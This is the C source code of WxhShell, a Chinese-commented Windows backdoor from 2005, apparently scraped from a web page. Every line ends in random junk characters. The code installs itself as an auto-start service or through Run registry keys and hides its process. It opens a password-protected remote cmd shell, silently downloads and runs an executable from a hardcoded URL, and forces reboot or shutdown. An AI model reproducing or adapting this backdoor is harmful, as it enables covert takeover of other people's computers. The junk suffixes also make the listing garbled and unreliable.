    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z85%2Apd  
    if(Boot(SHUTDOWN)) g(B&A P_e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _t|| v  
    else { t'|A0r$  
    closesocket(wsh); m_zl*s*6  
    ExitThread(0); Y#S<:,/sb?  
    } #<s6L"Z-  
    break; y G)xsY V  
    } _v bCC7Bf8  
  // 获取shell C-E~z{  
  case 's': { $nF|n+m  
    CmdShell(wsh); !TvNT}4Z  
    closesocket(wsh); 1DgR V7  
    ExitThread(0); U$v|c%6  
    break; dv -L!C  
  } ;$,=VB:'  
  // 退出 nF>41 K  
  case 'x': { mivb}cKM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k>E^FB=  
    CloseIt(wsh); vT~ey  
    break; "5 ;fuM1  
    } uzg(C#sp  
  // 离开 Su?e\7aj  
  case 'q': { 5{Q5?M]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E@ J/_l;  
    closesocket(wsh); 7]W6\Z  
    WSACleanup(); 2?P H||  
    exit(1); X-LCIT|1  
    break; x1]J  
        } m%m<-.'-  
  } ,1/O2aQ%\0  
  } ~MWI-oK  
%O6r  
  // 提示信息 cq]JD6937  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T5nBvSVv'  
} 6_|iXs(&  
  } =mR~\R( I  
Hb}O/G$a*  
  return; i(T[  
} ]%M&pc3U  
r$[`A_  
// shell模块句柄 }uZ/^_U.  
int CmdShell(SOCKET sock) |w5m2Z  
{ F>Pr`T?>  
STARTUPINFO si; 0JFS%Yjw[  
ZeroMemory(&si,sizeof(si)); V>Dqw!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Qdea$o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z(j"\d!y  
PROCESS_INFORMATION ProcessInfo; 7 Tb[sc'  
char cmdline[]="cmd"; Ft E5H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PRJ  
  return 0; \SSHjONX  
} "@z X{^:  
[ Y+Ta,  
// 自身启动模式 FKZ'6KM&A  
int StartFromService(void) o6tPQ (Vi  
{ \?v?%}x  
typedef struct s\+| ql  
{ dx@|M{jz'  
  DWORD ExitStatus; L4DT*(;!E  
  DWORD PebBaseAddress; pfBe24q  
  DWORD AffinityMask; azz=,^U#  
  DWORD BasePriority; u6nO\.TTtY  
  ULONG UniqueProcessId; K| dI'TnW  
  ULONG InheritedFromUniqueProcessId; dI%?uk  
}   PROCESS_BASIC_INFORMATION; ]p8 zT|bv  
g,9&@g/  
PROCNTQSIP NtQueryInformationProcess; 2FR+Z3&z  
+GJPj(S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u,V_j|(e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IM% ,A5u  
beaSvhPU  
  HANDLE             hProcess; y\omJx=,  
  PROCESS_BASIC_INFORMATION pbi; 0G31Kou  
hK,a8%KnFA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MaPOmS8?  
  if(NULL == hInst ) return 0; Fc#Sn2p*  
4O{G^;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zuu<;^/R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6P3h955c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Db}bDU1 |  
Jz}`-fU`  
  if (!NtQueryInformationProcess) return 0; 0 N"N$f  
]5K+W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bn9#F#F<  
  if(!hProcess) return 0; []v$QR&u#v  
g<@Q)p*ow  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,z<1:st]<  
eF]8Ar1  
  CloseHandle(hProcess); oYdE s&qq  
C1'y6{,@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); > 23$_'2  
if(hProcess==NULL) return 0; Nc &J%a  
; PncJe5x  
HMODULE hMod; 99.F'Gz  
char procName[255]; %&_^I*  
unsigned long cbNeeded; ]J[d8S5  
Y)DAR83  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,jEc4ih4  
_P=+\ [|y  
  CloseHandle(hProcess); cF 4,dnI  
F~i ~%f,  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Th,<w*o  
gROK4'j6y  
  return 0; // 注册表启动 1 _Oc1RM   
} aW*k,\:e  
4e/!BGkAS  
// 主模块 76"4Q!  
int StartWxhshell(LPSTR lpCmdLine) ,#FP]$FK  
{ %59uR}\  
  SOCKET wsl; `vMhrn  
BOOL val=TRUE; F|{uA/P{  
  int port=0; Cdib{y<ji  
  struct sockaddr_in door; _XT'h;m  
y] c1x=x  
  if(wscfg.ws_autoins) Install(); ^P^%Q)QXl  
Vi:^bv  
port=atoi(lpCmdLine); 'prHXzi(h  
;:j1FOj  
if(port<=0) port=wscfg.ws_port; PWyf3  
c\2rKqFD8  
  WSADATA data; :^ WF% X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u1L^INo/  
tnaFbmp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9M;t4Um  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @`dg:P*[  
  door.sin_family = AF_INET; BaW4 s4u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6IG?t  
  door.sin_port = htons(port); MNWI%*0LO  
Nwz?*~1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jr( =Y@Z '  
closesocket(wsl); *9"x0bth  
return 1; ~<f[7dBv  
} gr*CN<  
VJqk0w+  
  if(listen(wsl,2) == INVALID_SOCKET) { =K18|Q0m  
closesocket(wsl); _yv#v_Z  
return 1; q9_ $&9  
} I7oA7@zv  
  Wxhshell(wsl); tLWw< )t  
  WSACleanup(); LXK!4(xaW  
>< $LV&  
return 0; 8^>c_%e}  
OQ&N]P2p  
} \jtA8o%n  
\"oZ\_  
// 以NT服务方式启动 Sy|GM~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ![\-J$  
{ \4q|Qno8  
DWORD   status = 0; )Xjn:  
  DWORD   specificError = 0xfffffff; _ \6v@  
O`9c!_lis  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CpO_p%P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t\K (zE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; din,yHu~  
  serviceStatus.dwWin32ExitCode     = 0; &rBe -52  
  serviceStatus.dwServiceSpecificExitCode = 0; cK+TE8ao  
  serviceStatus.dwCheckPoint       = 0; R J{$`d  
  serviceStatus.dwWaitHint       = 0; e~SK*vR%]  
N $) G 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G kjfDY:  
  if (hServiceStatusHandle==0) return; r%?-MGc  
K:a8}w>Up  
status = GetLastError(); Cy]=Y  
  if (status!=NO_ERROR) v.Ba  
{ LpU}.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wQ/* f9  
    serviceStatus.dwCheckPoint       = 0; sllT1%?  
    serviceStatus.dwWaitHint       = 0; G;l7,1;MU:  
    serviceStatus.dwWin32ExitCode     = status; Plp.\N%f3  
    serviceStatus.dwServiceSpecificExitCode = specificError; s1D<R,J|H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XP@dg4Z=z  
    return; fY!?rZ)$  
  } {Yj5Mj|#  
a{]=BY oL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &:&89<C'  
  serviceStatus.dwCheckPoint       = 0; 8}  B  
  serviceStatus.dwWaitHint       = 0; fHup&|.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q H}8TC  
} c* {6T}VZr  
j,M$l mR')  
// 处理NT服务事件,比如:启动、停止 fCr2'+O"b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %#x4wi  
{ vA/SrX.  
switch(fdwControl) qT$k%(  
{ i.Rl&t  
case SERVICE_CONTROL_STOP: n%&L&G  
  serviceStatus.dwWin32ExitCode = 0; H#TkIFo]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ENTcTrTn  
  serviceStatus.dwCheckPoint   = 0; @t9HRL?T~  
  serviceStatus.dwWaitHint     = 0; GJ,&$@8)  
  { PM\Ju]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {@InOo!4w]  
  } E]@&<TFq  
  return; cE]z Tu?!  
case SERVICE_CONTROL_PAUSE: QtW9!p7(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Ll9ak}  
  break; \;{ ]YX  
case SERVICE_CONTROL_CONTINUE: 4D?h}U /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {[H_Vl@  
  break; O?e9wI=H  
case SERVICE_CONTROL_INTERROGATE: tIuM9D{P  
  break;  Unk/uk  
}; 'c35%? ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '}Fe&%  
} @nktD.  
2 *NPK}  
// 标准应用程序主函数 0?7yM:!l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `n PdZ.  
{ tu -a`h_NJ  
.zO^"mXjS  
// 获取操作系统版本 [b++bCH3  
OsIsNt=GetOsVer(); 5|H;%T 3_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vebv!  
i KSRr#/  
  // 从命令行安装 k~tEUsv  
  if(strpbrk(lpCmdLine,"iI")) Install(); A!lZyG!3  
]rG=\>U3~  
  // 下载执行文件 -"[4E0g0  
if(wscfg.ws_downexe) { ]v ${k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HMq}){=S  
  WinExec(wscfg.ws_filenam,SW_HIDE); t!?`2Z5  
} n8,%<!F^  
 Ng#psN  
if(!OsIsNt) { vpu#!(N  
// 如果时win9x,隐藏进程并且设置为注册表启动 :\;9y3  
HideProc(); jX7K- L  
StartWxhshell(lpCmdLine); mY 1l2  
} fQoAdw  
else '}hSh  
  if(StartFromService()) n_QuuUB  
  // 以服务方式启动 %KyZ15_(-L  
  StartServiceCtrlDispatcher(DispatchTable); $[T ~<I  
else yX&# rI  
  // 普通方式启动 6qZQ20h  
  StartWxhshell(lpCmdLine); 9wL2NC31Q  
 Q6 *n'6  
return 0; +Y?Tri  
} khX/xL  
<exCK*G  
#(] D]f[@  
:DH@zR  
=========================================== Hca(2 ]T-  
|.; N_i  
30h[&Oc  
!WyJ@pFU^  
*JOK8[Qn  
]y OM  
" >\JP X  
?c.\\2>|F  
#include <stdio.h> -l=C7e  
#include <string.h> cC8$oCR?  
#include <windows.h> '&CZ%&(Gw  
#include <winsock2.h> RY5e%/bg~U  
#include <winsvc.h> 5zS%F: 3  
#include <urlmon.h> tN{0C/B9  
(CQ! &Z8  
#pragma comment (lib, "Ws2_32.lib") 8i6iynR  
#pragma comment (lib, "urlmon.lib") i?_Q@uA~<:  
RrLiH>  
#define MAX_USER   100 // 最大客户端连接数 !MSa -  
#define BUF_SOCK   200 // sock buffer k2Q[v  
#define KEY_BUFF   255 // 输入 buffer n l5+#e*\  
QmBHD;Gf  
#define REBOOT     0   // 重启 X[J<OTj`$  
#define SHUTDOWN   1   // 关机 *42KLns  
>uCO=T,|  
#define DEF_PORT   5000 // 监听端口 d^'_H>x  
42 `Uq[5Y  
#define REG_LEN     16   // 注册表键长度 @G& oUhS  
#define SVC_LEN     80   // NT服务名长度 Mx}r! Q  
|TJ gH<I  
// 从dll定义API 1dr g5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IlEU6Rs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R1*&rjB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n_sV>$f-u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;zqxDl_  
8Ogg(uS70'  
// wxhshell配置信息 n(A;:) W{  
struct WSCFG { DI{Qs[  
  int ws_port;         // 监听端口 ca &zYXy  
  char ws_passstr[REG_LEN]; // 口令 319 4]  
  int ws_autoins;       // 安装标记, 1=yes 0=no El}~3|a?  
  char ws_regname[REG_LEN]; // 注册表键名 FkMM>X  
  char ws_svcname[REG_LEN]; // 服务名 L `2{H%J`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dnANlNMk?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QKk7"2t|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e23&d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =j_4!^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1% @i4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 __z/X"H  
KYhL}C+  
}; B"7~[,he  
Kj"n Id)  
// default Wxhshell configuration Jcvp<  
struct WSCFG wscfg={DEF_PORT, ][f0ZMa  
    "xuhuanlingzhe", be6`Sv"H  
    1, rl"yE=  
    "Wxhshell", 7x*L 1>[`'  
    "Wxhshell", lfoPFJ Z  
            "WxhShell Service", g6q[ I8  
    "Wrsky Windows CmdShell Service", #;2kN &  
    "Please Input Your Password: ", @ /e{-Q  
  1, NR^Z#BU  
  "http://www.wrsky.com/wxhshell.exe", +5ql`C  
  "Wxhshell.exe" %z1hXh#+  
    }; Vg7+G( ,  
dDe$<g5L4  
// 消息定义模块 Ud-c+, xX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ze`ms96j{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <t*3w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NS4W!o;"  
char *msg_ws_ext="\n\rExit."; kKQD$g.z6  
char *msg_ws_end="\n\rQuit."; ?f6Fj  
char *msg_ws_boot="\n\rReboot..."; "jq F  
char *msg_ws_poff="\n\rShutdown..."; o<S(ODOfi  
char *msg_ws_down="\n\rSave to "; K`R  
%yy|B  
char *msg_ws_err="\n\rErr!"; A*{V%7hs&  
char *msg_ws_ok="\n\rOK!"; ^O5PcV3Eg  
H|N,nkhH}  
char ExeFile[MAX_PATH]; Yv;iduc('  
int nUser = 0; :EC[YAK+D  
HANDLE handles[MAX_USER]; CJLfpvV  
int OsIsNt; } AHR7mu=  
9H%L;C5<  
SERVICE_STATUS       serviceStatus; |A u+^#:;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r^"pLzAx  
^^*dHWHn<  
// 函数声明 M[dJQ (  
int Install(void); vP&JL~  
int Uninstall(void); fH 5/  
int DownloadFile(char *sURL, SOCKET wsh); _%aJ/Y0Cy  
int Boot(int flag); !vSj1w  
void HideProc(void); h1N{;SWQ  
int GetOsVer(void); I_h&35^t  
int Wxhshell(SOCKET wsl); "M:0lUy  
void TalkWithClient(void *cs); G C3G=DTt  
int CmdShell(SOCKET sock); xcl8q:  
int StartFromService(void); RC]-9gd3Q  
int StartWxhshell(LPSTR lpCmdLine); M,9f}V)  
>BlF< d`X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [,ns/*f3R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d#3E'8  
^b`aO$  
// 数据结构和表定义 1lQO`CmR6M  
SERVICE_TABLE_ENTRY DispatchTable[] = B"I^hrQ  
{ ?,x3*'-(  
{wscfg.ws_svcname, NTServiceMain}, _0e;&2')  
{NULL, NULL} 0)-yLfTn  
}; Wi{ jC?2Q  
%FO# j6  
// 自我安装 sM'%apM#  
int Install(void) OuF%!~V   
{ ]eZrb%B .  
  char svExeFile[MAX_PATH]; uz;z+Bd^  
  HKEY key; ?Q%X,!~ \:  
  strcpy(svExeFile,ExeFile); > hmBV7nR  
=6:>C9  
// 如果是win9x系统,修改注册表设为自启动 +>S\.h s4  
if(!OsIsNt) { +(3U_]Lu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h#rziZ(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aaM76;  
  RegCloseKey(key); e2l!L*[g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gg=Y}S7:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %gE*x #  
  RegCloseKey(key); GY,HEe]2r  
  return 0; =;?afUj  
    } Dm 0Ts~  
  } (^).$g5Hg  
} $@(+" $  
else { ii :E>O(0B  
05gdVa,  
// 如果是NT以上系统,安装为系统服务 Ga1(T$ |H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q,m1mIf  
if (schSCManager!=0) nL@(|nJ[  
{ OkaN VTB  
  SC_HANDLE schService = CreateService  )tW0iFY  
  ( zLda&#+  
  schSCManager, aBonq]W  
  wscfg.ws_svcname, (B:+md\Q  
  wscfg.ws_svcdisp, txp^3dZ`^  
  SERVICE_ALL_ACCESS, NP^j5|A*"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \DC0`  
  SERVICE_AUTO_START, L|H:&|F  
  SERVICE_ERROR_NORMAL, >q7/zl  
  svExeFile, 5.3=2/  
  NULL, U+FI^Xrt#  
  NULL, 2j <Y>Y  
  NULL, Qt`;+N(  
  NULL, gONybz6]  
  NULL >j$y@"+  
  ); +zf[Im%E  
  if (schService!=0) A4>j4\A[M  
  { MGU%"7i'}  
  CloseServiceHandle(schService); ]5Mq^@mD'  
  CloseServiceHandle(schSCManager); 6( 0ME$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JULns#tx}  
  strcat(svExeFile,wscfg.ws_svcname); f\U(7)2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O-jpS?@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n/Fx2QC{  
  RegCloseKey(key); QxI^Bx  
  return 0; ,z0~VS:g8  
    } x>TIQU=\  
  } vnS;T+NZSC  
  CloseServiceHandle(schSCManager); 1@S(v L3a  
} mo()l8  
} L }L"BY3$  
sf5F$  
return 1; A$o7<Hx  
} J[7Sf^r  
3s B9t X  
// 自我卸载 fIwG9cR  
int Uninstall(void) %("WoBPH`  
{ H05xt$J  
  HKEY key; fuao*L]  
N,ysv/zq7  
if(!OsIsNt) { z=1N}l~|*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # ; 3v4P  
  RegDeleteValue(key,wscfg.ws_regname); 'S#D+oF(1~  
  RegCloseKey(key); gO%o A} !i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w)7s]Ld  
  RegDeleteValue(key,wscfg.ws_regname); m4~>n(  
  RegCloseKey(key); "l[ c/q[  
  return 0; i!u:]14>  
  } O~DdMW  
} >#[,OU}N  
} n&\DJzW\#  
else { h}&1 7M  
;5!M+nk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9gQ ]!Oq  
if (schSCManager!=0) AXT(D@sI=  
{ :[d *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y*H rv  
  if (schService!=0) d8ck].m=  
  { hZwJ@ Vm#  
  if(DeleteService(schService)!=0) { NnTAKd8  
  CloseServiceHandle(schService); Gph:'3 *X  
  CloseServiceHandle(schSCManager); RcpKv;=iB  
  return 0; ":W$$w<  
  } :J;&Z{  
  CloseServiceHandle(schService); ,.]1N:   
  } "(+p1  
  CloseServiceHandle(schSCManager); UiQF4Uc"  
} eJ+@<+vr;x  
} w{89@ XRC  
~sMEfY,p  
return 1; wn/Y 5   
} JyDg=%-$2  
;Z!x\{- L  
// 从指定url下载文件 ;/ASl<t,  
int DownloadFile(char *sURL, SOCKET wsh) cH6<'W{*  
{ ^u-;VoK  
  HRESULT hr; A Qm!7,  
char seps[]= "/"; bwyj[:6l  
char *token; WY$c^av<  
char *file; @FaK/lKK  
char myURL[MAX_PATH];  RxO !h8  
char myFILE[MAX_PATH]; #u/5 nm  
U0@Qc}y  
strcpy(myURL,sURL); ypLt6(1j%  
  token=strtok(myURL,seps); dM)x|b3z  
  while(token!=NULL) XOT|:  
  { ;D|g5$OE&  
    file=token; >SWc  
  token=strtok(NULL,seps); $0&<Jx  
  } XCj8QM.o  
<%"o-xZq7C  
GetCurrentDirectory(MAX_PATH,myFILE); !EOYqD  
strcat(myFILE, "\\"); :wY(</H  
strcat(myFILE, file); c"oJcp  
  send(wsh,myFILE,strlen(myFILE),0); RC~C}  
send(wsh,"...",3,0); se*!OiOt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ")i_{C,b^  
  if(hr==S_OK) aSt:G*a"  
return 0; ZmAo9>'Kg  
else guk{3<d:Jy  
return 1; q);@iiJ-  
y`a]##1j$M  
} qCy SL lp0  
)-^[;:B\k"  
// 系统电源模块 <2t%<<%  
int Boot(int flag) #'8'5b  
{ iC4rzgq  
  HANDLE hToken; z-JYzxL9  
  TOKEN_PRIVILEGES tkp; @+yjt'B  
q$kx/6=k  
  if(OsIsNt) { 85vyt/.,k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,SH^L|I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ z,6K=  
    tkp.PrivilegeCount = 1; WZ N0`Od  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( "wmc"qH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /)<Xoa  
if(flag==REBOOT) { ;8g[y"I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o[aIQ|G  
  return 0; q0KGI/5s4+  
} %mRnJgV5k  
else { 9`cj9zz7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lyw)4;wt\  
  return 0; DHVfb(H5e  
} #&sn l  
  } o'=i$Eb  
  else { 5`)[FCQ  
if(flag==REBOOT) { c/}-pZn<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jdd3[  
  return 0; P\&n0C~  
} Ygc.0VKMR  
else { En ]"^*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JfzfxfM  
  return 0; <G#Q f|&  
} ~|&To >  
} >'v{o{k|C  
:?:R5_Nd=  
return 1; Q&vU|y  
} : 2A\X' @  
wUH:l  
// win9x进程隐藏模块 ,"Nb;Yhg  
void HideProc(void) gH/(4h  
{ N3ccn  
b$Q#Fv&P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v,c;dlg_  
  if ( hKernel != NULL ) @Uqcym.  
  { bq z*90  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yH(%*-S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S+u@ Q}  
    FreeLibrary(hKernel); T1uOp5_]B  
  } CJt(c,!z  
%8lWJwb7u  
return; 3-_`x9u*  
} ,yTT,)@<  
'h>CgR^NM1  
// 获取操作系统版本 \xX'SB#.l  
int GetOsVer(void) e\ ! ic  
{ .x_F4#Ka  
  OSVERSIONINFO winfo; MZ_dI"J ,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 07>Iq8<mu  
  GetVersionEx(&winfo); RC^k#+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jR"ACup(  
  return 1; 4#ZZwa]y  
  else mBDzc(_\$'  
  return 0; uM2 .?>`X  
} 5$c*r$t_RK  
ap[Q'=A`  
// 客户端句柄模块 XyD*V;.E  
int Wxhshell(SOCKET wsl) nw=:+?  
{ N2&h yM  
  SOCKET wsh; gqDSHFm:  
  struct sockaddr_in client; K*N8Vpz(  
  DWORD myID; a[RqK#  
dyt.( 2  
  while(nUser<MAX_USER) d>Ky(wS  
{ T<U_Iq  
  int nSize=sizeof(client); v(^;%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Hg,:re2  
  if(wsh==INVALID_SOCKET) return 1; O[R   
Gy!bPVe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W@61rT} c  
if(handles[nUser]==0) _nec6=S6(  
  closesocket(wsh); rXVR X#Lh  
else BHDd^bd  
  nUser++; Fr1OzS^&(  
  } ,m;G:3}48  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K&;/hdS=F  
R?}<Cj I  
  return 0; #<yKG\X?  
} e4 -7&8N+  
)gNVJ  
// 关闭 socket |],ocAN{  
void CloseIt(SOCKET wsh) =8E GB\P  
{ v.Xmrry  
closesocket(wsh); D>K=D"  
nUser--; /086qB|  
ExitThread(0); w s7LDY&(  
} $rH}2  
wg|/-q-  
// 客户端请求句柄 xcQ:&q  
void TalkWithClient(void *cs) !6eF8T  
{ %^bN^Sq -  
y@\J7 h:  
  SOCKET wsh=(SOCKET)cs;  nw  
  char pwd[SVC_LEN]; o<7'(Pz  
  char cmd[KEY_BUFF]; }?[a>.]u  
char chr[1]; t#=FFQOt  
int i,j; U Kf0cU  
Hw~?%g:<S  
  while (nUser < MAX_USER) { Vn6]h|vm  
^qV6 khg  
if(wscfg.ws_passstr) { vp`s< ;CA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Oo16LPD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nrCr9#  
  //ZeroMemory(pwd,KEY_BUFF); !k8j8v&  
      i=0; Kl w9  
  while(i<SVC_LEN) { 8J8@0  
"M=1Eb$6=  
  // 设置超时 aaFt=7(K  
  fd_set FdRead; nmUMg  
  struct timeval TimeOut; VZr AZV^c  
  FD_ZERO(&FdRead); @xN)mi  
  FD_SET(wsh,&FdRead); B^"1V{M  
  TimeOut.tv_sec=8; =X=m_\=~@  
  TimeOut.tv_usec=0; *hkNJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S"Drg m.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OLyl.#J  
<{1=4PA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wU/BRz8I  
  pwd=chr[0]; 1g_Dkv|D  
  if(chr[0]==0xd || chr[0]==0xa) { >d$Sh`a6  
  pwd=0; T7j,%ay9  
  break; ,=`iQl3(y/  
  } %lSjC%Z'd  
  i++; d2Ox:| <)  
    } 3V@!}@y,F6  
8U7X/L  
  // 如果是非法用户,关闭 socket D@o8Gerq~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f"0?_cG{%  
} 5DnX8t+d  
 El |Y]f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kr>F=|R]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oE'Flc.  
D:Fi/JY~  
while(1) { l]z=0  
Z,5B(Xj  
  ZeroMemory(cmd,KEY_BUFF); n_Bi HMIU'  
Vv3:x1S  
      // 自动支持客户端 telnet标准   7q'T,'[  
  j=0; e~NF}9#A  
  while(j<KEY_BUFF) { {V5eHn9/Q'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _A,mY6 *  
  cmd[j]=chr[0]; n$y@a? al  
  if(chr[0]==0xa || chr[0]==0xd) { HiT j-O  
  cmd[j]=0; y\c-I!6>26  
  break; *e *V%w~75  
  } P%Tffsl  
  j++; wv&#lM(  
    } 6'qu[ ~ }Q  
tzdh3\6F  
  // 下载文件 sL\W6ej  
  if(strstr(cmd,"http://")) { :V^|}C#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tW} At  
  if(DownloadFile(cmd,wsh)) l|5;&(Y+s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); % n~ 'UA  
  else T9&bY>f?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WC`x^HI  
  } gMUCVKGf  
  else { =Bw2{]w  
(V9 ;  
